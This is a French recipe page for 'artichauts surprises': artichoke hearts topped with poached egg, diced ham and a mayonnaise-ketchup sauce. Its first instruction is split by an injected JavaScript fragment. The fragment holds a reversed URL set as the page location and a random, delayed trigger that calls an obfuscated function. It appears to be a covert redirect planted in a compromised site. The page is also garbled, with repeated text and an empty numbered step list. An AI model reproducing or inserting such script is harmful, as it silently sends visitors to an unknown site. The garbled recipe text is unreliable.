Artichauts surprises
2021-05-03- Thématique : Végétarien
- Niveau : Difficile
Cassez les queues d’artichauts. Coupez-les feuilles en tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tournant pour ne garder que le cœur. Ôtez le foin, citronnez, et faites-les cuire dans une eau bouillante salée pendant 35 minutes.
Ingrédients
Cassez les queues d’artichauts. Coupez-les feuilles en tournant pour ne garder que le cœur. Ôtez le foin, citronnez, et faites-les cuire dans une eau bouillante salée pendant 35 minutes. Vérifiez la cuisson. Les égouttez. Dans une louche cassez chaque œuf que vous plongerez dans une eau vinaigrée pendant 3 minutes.
Égouttez-les sur un linge et laissez refroidir. Coupez le jambon en petits dés.
Garnissez les fonds d’artichauts. Déposez l’œuf poché. Nappez de sauce mayonnaise que vous allongez de crème fraîche et de ketchup en mélangeant minutieusement.
Servir fraisPréparation de la recette
Etape 1
Etape 2
Etape 3
Etape 4
Etape 5
Etape 6
Etape 7
Etape 8
Etape 9
Etape 10
Etape 11
Etape 12
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